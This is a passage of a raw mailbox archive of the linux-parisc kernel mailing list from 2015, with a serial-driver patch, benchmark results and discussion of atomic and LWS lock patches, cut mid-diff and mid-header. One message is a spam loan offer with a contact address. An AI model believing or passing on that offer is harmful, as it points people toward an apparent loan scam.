         6IWGEYV8pjoA86A6LjNg0uRtnnWj8Z0e5b7YXCkhmCmsxGSkceXFfIM8LKDZ3epo33J8
         ZssQ==
X-Gm-Message-State: ALoCoQkWqnKMrX/52OXTtq9lyMPV/y2Q78VDJQ24bSTKjMG5kjA/rGt3iD0G6aRPaEy/g3H0EYdg
X-Received: by 10.66.144.135 with SMTP id sm7mr11016225pab.106.1442634191168;
        Fri, 18 Sep 2015 20:43:11 -0700 (PDT)
Original-Received: from phoenix (118-171-143-125.dynamic.hinet.net. [118.171.143.125])
        by smtp.gmail.com with ESMTPSA id pm8sm1623191pbc.9.2015.09.18.20.43.08
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 18 Sep 2015 20:43:10 -0700 (PDT)
X-Mailer: Evolution 3.12.11-0ubuntu3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26034 gmane.linux.serial:20020
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26034>

The implementation of mux_console_device() is very similar to
uart_console_device(). Setting .data field in mux_console then we can
convert to use uart_console_device().

Signed-off-by: Axel Lin <axel.lin@ingics.com>
---
I don't have this h/w to test, so I'd appreciate if someone can test it.
 drivers/tty/serial/mux.c | 9 ++-------
 1 file changed, 2 insertions(+), 7 deletions(-)

diff --git a/drivers/tty/serial/mux.c b/drivers/tty/serial/mux.c
index dd26511..8a4be4b 100644
--- a/drivers/tty/serial/mux.c
+++ b/drivers/tty/serial/mux.c
@@ -412,19 +412,14 @@ static int mux_console_setup(struct console *co, char *options)
         return 0;
 }
 
-struct tty_driver *mux_console_device(struct console *co, int *index)
-{
-        *index = co->index;
-	return mux_driver.tty_driver;
-}

From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and
 PA8900 CPUs
Date: Tue, 22 Sep 2015 18:20:03 +0200
Lines: 122
Approved: news@gmane.org
Message-ID: <56017FB3.5050709@gmx.de>
References: <20150902162000.GC2444@ls3530.box>
 <1441287043.2235.6.camel@HansenPartnership.com>
 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1442938828 16680 80.91.229.3 (22 Sep 2015 16:20:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Sep 2015 16:20:28 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 22 18:20:21 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZeQIl-0002ja-P2
	for glpp-linux-parisc@plane.gmane.org; Tue, 22 Sep 2015 18:20:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932312AbbIVQUQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Sep 2015 12:20:16 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:56937 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933491AbbIVQUM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Sep 2015 12:20:12 -0400
Original-Received: from [192.168.20.60] ([92.203.39.111]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M1SLt-1aXCfx1YYD-00tUTJ; Tue, 22 Sep 2015 18:20:08
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <55EB5EFA.4040407@gmx.de>
X-Provags-ID: V03:K0:hsFLF3T5HfuWZ9jOqwRTVjcCkovMl6voqk5qV8fRxYc6a6ucILk
 nLEiQDvs+EJi1uMt0rW/IifaFf/GXIQRrYbH6I7IjFiakwmHgfnh+L401J3QcXNvhZQPS+0
 cJ3y16nLAFuThfHAbWPJ552pbXHQCfipXwC7Q0bdRTaFnNA5+jH7aoDakr+PXJb2DAFXTvG
 mUhBmUZ0oUu0J86f+BlyA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MhqK8WOcZbw=:Fde0uRqDKWS3aBNJZ3KJ+h
 mRuvL5jUiMWCSr817rkdq1a3NpktarBdFV1rNUxw5Z3aocJvW0UukPlLQbu9tkdFv9vT9dzYW
 jxld49t0F20KnvTCfAaki1OnRVLErcqnfSaCPJcnFMFlQK0sZ+yQWB7rSkMUoGjc3QPl+7WmO
 sbRe+q66Nzy6x97QHEX1u4VTDA9QYFk/PsRGTnkMOhtrMt5qCKYTMet3jNqiKPu0JyU6lJHsE
 haypPuvvO7K3GYXFvPNJnZnbs/3hefMZ4rdxXI1+jiGiNXbqFATK35PFVvmDloltwbhJEhjGK
 0SZ4z9UzjSjHX4hEKBVbTVGkhlUjx52WJKRYt/ho4goXNNRK4pSruwd9QGE9Em94XYvBPDIvT
 g1zCTBj9c/TpqYSQDY/unMNvTdGdJ13yWP4DS9BWCeE90AQ5veki1EzOyQuaiuixjtCMh3EX3
 UuQECMYY9cglniuWjZJeUNH5vaDo+rzCqDoOmiYEtH7/xTKtuD5VPzZKtd1Vq1fRWJ7NSD8OG
 q+/jMiuBou0UB+dXnCnS/1CTFv2UckH8RKlb7ptkazjSUiA0HgXekKhAxV67SUmB4PCsZDUWX
 FOugluoTMFMODBOlmBwzo5GEBo53TFDorQo6eFZEarA2fSDtOqB/0ZD2Go1KcykhaLf9vgY4y
 AnMQoU4yIMA798nQJ7ce5/mivHeE5CfYDdv9evWa8qMiBhh7jQ5CSEOCoCno6b2rr3B1ln3Ji
 Z8xozrKb/Z6bI6btTc53n46LyGUtjrNgMhCfeA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26035
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26035>

On 05.09.2015 23:30, Helge Deller wrote:
> Hi James,
> ...
> I haven't done any performance measurements yet, but your patch looks
> absolutely correct.
> ...

Hello everyone,

I did some timing tests with the various patches for
a) atomic_hash patches:
        https://patchwork.kernel.org/patch/7116811/
b) alignment of LWS locks:
        https://patchwork.kernel.org/patch/7137931/

The testcase I used is basically the following:
- It starts 32 threads.
- We have 16 atomic ints organized in an array.
- The first thread increments NITERS times the first atomic int.
- The second thread decrements NITERS times the first atomic int.
- The third/fourth thread increments/decrements the second atomic int, and so on...
- So, we have 32 threads, of which 16 increments and 16 decrements 16 different atomic ints.
- All threads run in parallel on a 4-way SMP PA8700 rp5470 machine.
- I used the "time" command to measure the timings.
- I did not stopped other services on the machine, but ran each test a few times and the timing results did not show significant variation between each run.
- All timings were done on a vanilla kernel 4.2 with only the mentioned patch applied.

The code is a modified testcase from the libatomic-ops debian package:

AO_t counter_array[16] = { 0, };
#define NITERS 1000000

void * add1sub1_thr(void * id)
{
  int me = (int)(AO_PTRDIFF_T)id;
  AO_t *counter;
  int i;

  counter = &counter_array[me >> 1];
  for (i = 0; i < NITERS; ++i)
    if ((me & 1) != 0) {
      (void)AO_fetch_and_sub1(counter);
    } else {
      (void)AO_fetch_and_add1(counter);
    }
  return 0;
...
run_parallel(32, add1sub1_thr)
...
        

        
The baseline for all results is the timing with a vanilla kernel 4.2:
real    0m13.596s
user    0m18.152s
sys     0m35.752s


The next results are with the atomic_hash (a) patch applied:
For ATOMIC_HASH_SIZE = 4. 
real    0m21.892s 
user    0m27.492s
sys     0m59.704s

For ATOMIC_HASH_SIZE = 64.
real    0m20.604s
user    0m24.832s
sys     0m56.552s


Next I applied the LWS locks patch (b):
XXXXXXXXXXXXXXXXXXXX    LWS_LOCK_ALIGN_BITS = 4
real    0m13.660s
user    0m18.592s
sys     0m35.236s

XXXXXXXXXXXXXXXXXXXX    LWS_LOCK_ALIGN_BITS  = L1_CACHE_SHIFT
real    0m11.992s 
user    0m19.064s
sys     0m28.476s
    
      
    
Then I applied both patches (a and b):
ATOMIC_HASH_SIZE = 64,  LWS_LOCK_ALIGN_BITS = 4
ATOMIC_HASH_SIZE = 64,  LWS_LOCK_ALIGN_BITS = 4
real    0m13.232s
user    0m17.704s
sys     0m33.884s

ATOMIC_HASH_SIZE = 64,  LWS_LOCK_ALIGN_BITS = L1_CACHE_SHIFT
real    0m12.300s
user    0m20.268s
sys     0m28.424s

ATOMIC_HASH_SIZE = 4,   LWS_LOCK_ALIGN_BITS = 4
real    0m13.181s
user    0m17.584s
sys     0m34.800s

ATOMIC_HASH_SIZE = 4,   LWS_LOCK_ALIGN_BITS = L1_CACHE_SHIFT
real    0m11.692s
user    0m18.232s
sys     0m27.072s


In summary I'm astonished about those results.
Especially from patch (a) I would have expected (when applied stand-alone) the same or better performance, because it makes the spinlocks more fine-grained.
But a performance drop of 50% is strange.

Patch (b) stand-alone does significantly increases performance (~20%), and together with patch (a) it even adds a few more percent performance increase on top.

Given the numbers above I currently would suggest to apply both patches (with ATOMIC_HASH_SIZE = 4 and LWS_LOCK_ALIGN_BITS = L1_CACHE_SHIFT).

Thoughts?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and PA8900 CPUs
Date: Tue, 22 Sep 2015 20:12:23 -0400
Lines: 94
Approved: news@gmane.org
Message-ID: <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
References: <20150902162000.GC2444@ls3530.box> <1441287043.2235.6.camel@HansenPartnership.com> <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de> <56017FB3.5050709@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1442967156 14290 80.91.229.3 (23 Sep 2015 00:12:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Sep 2015 00:12:36 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 23 02:12:28 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZeXfe-0007fw-MS
	for glpp-linux-parisc@plane.gmane.org; Wed, 23 Sep 2015 02:12:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934828AbbIWAM0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Sep 2015 20:12:26 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:41252 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S934802AbbIWAMZ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Sep 2015 20:12:25 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20150923001223.OFKR17053.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 22 Sep 2015 20:12:23 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by mtlspm01.bell.net
          with ESMTP
          id <20150923001223.MYVE20298.mtlspm01.bell.net@[192.168.2.10]>;
          Tue, 22 Sep 2015 20:12:23 -0400
In-Reply-To: <56017FB3.5050709@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020205.5601EE67.019F,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26036
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26036>

On 2015-09-22, at 12:20 PM, Helge Deller wrote:

> On 05.09.2015 23:30, Helge Deller wrote:
>> Hi James,
>> ...
>> I haven't done any performance measurements yet, but your patch looks
>> absolutely correct.
>> ...
> 
> Hello everyone,
> 
> I did some timing tests with the various patches for
> a) atomic_hash patches:
>        https://patchwork.kernel.org/patch/7116811/
> b) alignment of LWS locks:
>        https://patchwork.kernel.org/patch/7137931/
> 
> The testcase I used is basically the following:
> - It starts 32 threads.
> - We have 16 atomic ints organized in an array.
> - The first thread increments NITERS times the first atomic int.
> - The second thread decrements NITERS times the first atomic int.
> - The third/fourth thread increments/decrements the second atomic int, and so on...
> - So, we have 32 threads, of which 16 increments and 16 decrements 16 different atomic ints.
> - All threads run in parallel on a 4-way SMP PA8700 rp5470 machine.
> - I used the "time" command to measure the timings.
> - I did not stopped other services on the machine, but ran each test a few times and the timing results did not show significant variation between each run.
> - All timings were done on a vanilla kernel 4.2 with only the mentioned patch applied.
> 
> The code is a modified testcase from the libatomic-ops debian package:
> 
> AO_t counter_array[16] = { 0, };
> #define NITERS 1000000
> 
> void * add1sub1_thr(void * id)
> {
>  int me = (int)(AO_PTRDIFF_T)id;
>  AO_t *counter;
>  int i;
> 
>  counter = &counter_array[me >> 1];
>  for (i = 0; i < NITERS; ++i)
>    if ((me & 1) != 0) {
>      (void)AO_fetch_and_sub1(counter);
>    } else {
>      (void)AO_fetch_and_add1(counter);
>    }
>  return 0;
> ...
> run_parallel(32, add1sub1_thr)
> ...
> 
> 

Does libatomic-ops now use the GCC sync builtins and the LWS calls?

> 
> The baseline for all results is the timing with a vanilla kernel 4.2:
> real    0m13.596s
> user    0m18.152s
> sys     0m35.752s
> 
> 
> The next results are with the atomic_hash (a) patch applied:
> For ATOMIC_HASH_SIZE = 4. 
> real    0m21.892s 
> user    0m27.492s
> sys     0m59.704s
> 
> For ATOMIC_HASH_SIZE = 64.
> real    0m20.604s
> user    0m24.832s
> sys     0m56.552s
> 

I'm not sure why the atomic_hash patch would directly affect performance of this test as I
don't think the patch affects the LWS locks.

I question the the atomic hash changes as the original defines are taken directly from generic code.
Optimally, we want one spinlock per cacheline.  Why do we care about the size of atomic_t?

The above indicate the change is detrimental.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <jerryfunds12@Jerryloan.onmicrosoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: (unknown)
Date: Wed, 23 Sep 2015 16:12:38 +0530
Lines: 6
Approved: news@gmane.org
Message-ID: <SG2PR06MB0553D3A2B7FDF20CA610FC1EB8440@SG2PR06MB0553.apcprd06.prod.outlook.com>
Reply-To: <jerrysmith@inbox.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1443005049 9457 80.91.229.3 (23 Sep 2015 10:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Sep 2015 10:44:09 +0000 (UTC)
To: Recipients@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 23 12:44:01 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZehWq-0004CM-Fw
	for glpp-linux-parisc@plane.gmane.org; Wed, 23 Sep 2015 12:44:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753115AbbIWKoA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Sep 2015 06:44:00 -0400
Original-Received: from mail-hk2apc01hn0231.outbound.protection.outlook.com ([104.47.124.231]:15680
	"EHLO APC01-HK2-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752968AbbIWKn7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Sep 2015 06:43:59 -0400
Authentication-Results: spf=none (sender IP is ) smtp.mailfrom=<>; 
Original-Received: from [192.168.1.100] (116.203.79.87) by
 SG2PR06MB0553.apcprd06.prod.outlook.com (10.161.10.27) with Microsoft SMTP
 Server (TLS) id 15.1.274.16; Wed, 23 Sep 2015 10:43:22 +0000
Content-Description: Mail message body
Original-Subject: 
X-Originating-IP: [116.203.79.87]
X-ClientProxiedBy: AM3PR07CA0041.eurprd07.prod.outlook.com (10.141.45.169) To
 SG2PR06MB0553.apcprd06.prod.outlook.com (25.161.10.27)
X-Microsoft-Exchange-Diagnostics: 1;SG2PR06MB0553;2:P/iJP5/VZfGBaQWt0yfZvJNw6jcJxSwZIa9+QMSInqarnog7Ny849cE/YpLHd+1U6ccaSSuSOP2MkFlFe0Hb5bATWhhimMW2JJpSpIehqR0NHC+kHaRSEJTmrYN9z8wWez1RHAdrRYxhZ60lWsRiaJA4NhjEe1byUhahi3A1Kzs=;3:q30xFJin9Q9TeaK2oBl+CsNF8+0u977XK9XbqatbtZp8d6gyIEdrCa1Beau2oHE9A3mseqYqKnoBlSyYJObYMzaUjGyA/HBXcwrJAXnvTj4BSgoH3sHBL/32ZUWwvy2tEknS8RN+gVTNiDS7EYHI1Q==;25:30NZR1xvnmrazhgP7ViewE1ftrGggEMBRG8QuemF2490btBN2mBxfnnnpJiththNff1YFGjuT+T2bSzbNvbvXM4VEnosc4J3b/HpK4T4GVw1rTeb4THSSTiQy/jpIBRVHNSqqkaSuEKQ2wc2XtLIyVU5JjlHtMuwaQoNxSaRzOH3S51isvJ3vV26X9ASBQQaGYYDSmjOZQW8x7JGAfK5kkHQTIK7y6k0APVfR9r8gpmABzmLowYP3Y8CtympPx2TGUOvbHAetbAd5xHH6zOO3A==
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:SG2PR06MB0553;
X-Microsoft-Antispam-PRVS: <SG2PR06MB0553D3A793BCABB3C4E504F1B8440@SG2PR06MB0553.apcprd06.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(2401047)(520078)(8121501046)(5005006)(3002001);SRVR:SG2PR06MB0553;BCL:0;PCL:0;RULEID:;SRVR:SG2PR06MB0553;
X-Microsoft-Exchange-Diagnostics: 1;SG2PR06MB0553;4:4Q2hPz7NTzi78iENshJZWKI1EWYpGHEh7pj66a533uDBBylbo4CIAXocHU9m7nSyuPrTk+tD5sbXWiuEMe/wuOOlr7C/RQNHLDTorXy1dNPs3F2MU/SheX66NZloD4wkRumIzNC0a3zNbCnfPYaYdAK+xHpQa2KD1SuIoEXDGD1Ts9J4+azSOD9sFHuH5TDDxjwZhETL+yo++hZ1luJ/jSrKg1ZhXVuivYJud6xJ3M1U/ilLj8nVmUNf3GAkt8SQOjhmCuNBaTfV3WCtrTJG8HyphXRQAmg/QwdwU5kc4ccJlPRgkLA216Y+Df+EjdkBT3/lTyMH+oC5uGEn8UQYtniLmXclKP20PkgqnGRRzwg=
X-Forefront-PRVS: 07083FF734
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10009020)(6009001)(6049001)(189002)(199003)(561924002)(19580405001)(250100001)(107886002)(117156001)(122386002)(86442001)(68736005)(42186005)(4001450100002)(64872006)(25636003)(5001830100001)(89136004)(77156002)(23756003)(77096005)(558084003)(5406001)(78352002)(19580395003)(109986003)(46102003)(87976001)(106356001)(42382002)(5004730100002)(62966003)(86152002)(53256004)(101416001)(66066001)(110136002)(40100003)(81156007)(33656002)(5007970100001)(4001540100001)(50466002)(74316001)(43066003)(5001920100001)(50986999)(5001960100002)(54356999)(86902001)(97736004)(76576001)(189998001)(105586002)(64706001)(53806999)(47776003)(5001860100001)(439774005);DIR:OUT;SFP:1501;SCL:5;SRVR:SG2PR06MB0553;H:[192.168.1.100];FPR:;SPF:None;PTR:InfoNoRecords;MX:0;A:0;LANG:
 en;
Received-SPF: None (protection.outlook.com: [192.168.1.100] does not designate
 permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;SG2PR06MB0553;23:KbN+cSrcCd5yiApztHCviFnVeLrMqb0jGPIDj7s?=
 =?iso-8859-1?Q?eC7cR+V+nmv7kob1Cnj82rOUKAaWlVTFA8dRViPNlGwBD3E6yn7Kj3PDQB?=
 =?iso-8859-1?Q?PqBigCKtr45M7N8eXNtigyPVLaa0aD2T/lAte6+V/4lMoiEtFzvsFR7TyP?=
 =?iso-8859-1?Q?ZcduQ9bzFGcQPFbdvVRyqnlp8kHKFj+FHkVpKsOOv2wg5PqfsIleM9YCVp?=
 =?iso-8859-1?Q?w5wGspAs6Gt+q1RMJRX77aaCi4LkSnWiZ6IBYpcZYVjZd2u8p9mVPLgBue?=
 =?iso-8859-1?Q?EL1Y5Fl9mj8Vf+hvIaeG2xgOWJOMKNntcM/CXipprHzKf880muH4xWBEBo?=
 =?iso-8859-1?Q?e/Z9GUI7zLE1fOgL0mlKIpXoJSlY/0Rel9Iq6Ll6VhD4rLO1KawL8UR3XF?=
 =?iso-8859-1?Q?L1GKHeawNunFRPSE5w6b4nykK6EZPQtQBVDZUNHRIDDD5VZmnn2TD4UIus?=
 =?iso-8859-1?Q?UxGBkXGoWab/TFFMmDZpLHqsrXcE0IlVpJWpsL9XxF6JNBrSfOgjsmu2RF?=
 =?iso-8859-1?Q?42QjQu2/+CSeLpwLNaVeL0FAx5uuWC6jKepMdmhaOEQIeIWBnxZmCBmh5J?=
 =?iso-8859-1?Q?/ijsNkdUuw8wHb35O3OUgUbDrzj4Y/aq2tYhFOtLQKt4DcOuknTo9sfjeN?=
 =?iso-8859-1?Q?KxvY 
X-Microsoft-Exchange-Diagnostics: 1;SG2PR06MB0553;5:6RhgeIaFeWPn0IXupNolduDPIjqh8cnVcuXfTq1WkAAvoWKUeunfj+ssJGOuHGl5wxWHyVWAdXg2f4qsWB2b1dJd0n9VspK+gZyFCnBU6kADQoLdAMKnQ600J66pErW0/DHET/xXWsyq8ok6gAcJ4g==;24:xnjYTrsJXzoHfQCcUmXGa3N64qEaj0XMBSlhQk0Vt5JcpkHUBVIAKFCet7jEDem16yB85AbuT/fvchU8LmZLtg==;20:VejrQUXRUFHKp2tlzmZiEFUdMiP9JCNHhqFSd11j7J04ARr8HMCE8S3MRZvIPykoPqTF2oeu1UTQP9z/EFXcUw==
SpamDiagnosticOutput: 1:22
SpamDiagnosticMetadata: 00000000%2D0000%2D0000%2D0000%2D000000000000
X-OriginatorOrg: Jerryloan.onmicrosoft.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 23 Sep 2015 10:43:22.8323
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SG2PR06MB0553
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26037
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26037>

We Give Out Loans For 3% Interest Rate And We Offer Loans From $5,000 To $50,000,000.00, Are You Looking To Buy A House Car Or Company Or Start Up A Truck Company or Buy A Truck Or Personal Loans, Email Us At jerrysmith@inbox.lv  With Amount Needed And Phone Number.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and
 PA8900 CPUs
Date: Wed, 23 Sep 2015 21:30:31 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <5602FDD7.6020501@gmx.de>
References: <20150902162000.GC2444@ls3530.box>
 <1441287043.2235.6.camel@HansenPartnership.com>
 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
 <56017FB3.5050709@gmx.de> <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443036652 32644 80.91.229.3 (23 Sep 2015 19:30:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Sep 2015 19:30:52 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 23 21:30:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZepkX-0003L0-GY
	for glpp-linux-parisc@plane.gmane.org; Wed, 23 Sep 2015 21:30:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754353AbbIWTal (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Sep 2015 15:30:41 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:57671 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753918AbbIWTak (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Sep 2015 15:30:40 -0400
Original-Received: from [192.168.20.60] ([92.203.39.111]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MNqcR-1Zl8Kn2uol-007Shz; Wed, 23 Sep 2015 21:30:34
 +0200
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
X-Provags-ID: V03:K0:h/KWs7CzMTUA0CBawELHY8VAbsLuOgt8MXIB7uewe+Sx7AzdCKm
 VmWwEUsI+OoscPBELeWd3JtKidmR3bXqT/FsZRXhKBD2SJhVO5rHOR746q7byTzvhnginZu
 8dHmhE/OeG9sVtLSVGKb6KFZROgqhQ0OPGuwrW55xJGDEG5KN6nS+8489K6ttwBcc9UcuYn
 SAECqXAMVN3ijkvQ0F5kg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:i7AK6B47QXw=:+HJUL7hnEG9Lkcz7T0MBYr
 FocK1Pq3glA5JOfjVk1+3mrXl5bcpe1BC6zlw76SjKXzqfzKynkq6IwLSsSBPRBTqkeuQbkQ4
 mtrKXja4//693Gsb56xuT0m/ekNwZXnaUriaSGKZRtbN9GPfEKNg8xoXU95CJ4zrtqzh7C10O
 7YM0lfsNh0ecFH/t97rtlJNIFYcQ27QXT1u3/7LYfNBwMOBHCJLfatYGijcL3XvNS93t/MJBX
 TMUYZnw9PpN6Y5asx1Ux/s1/Ggs6naJJ2f5vBvv/w3TIGkDh+IYwFVeymUrt1lvhC2oAX2K5G
 R0vlxfs743P+WnC+0UVS9n5s55WqaDJQ/83JZjJyrN3JmxGEs8BGR6Txvyuke64Ku+m69PUo2
 lR6YZyFHZmqleEbwD2ou4WJX2aKjTQHHZYtFzof86ruTS2HTZl8iajJngSzJ8ls3Ug/mBqGtK
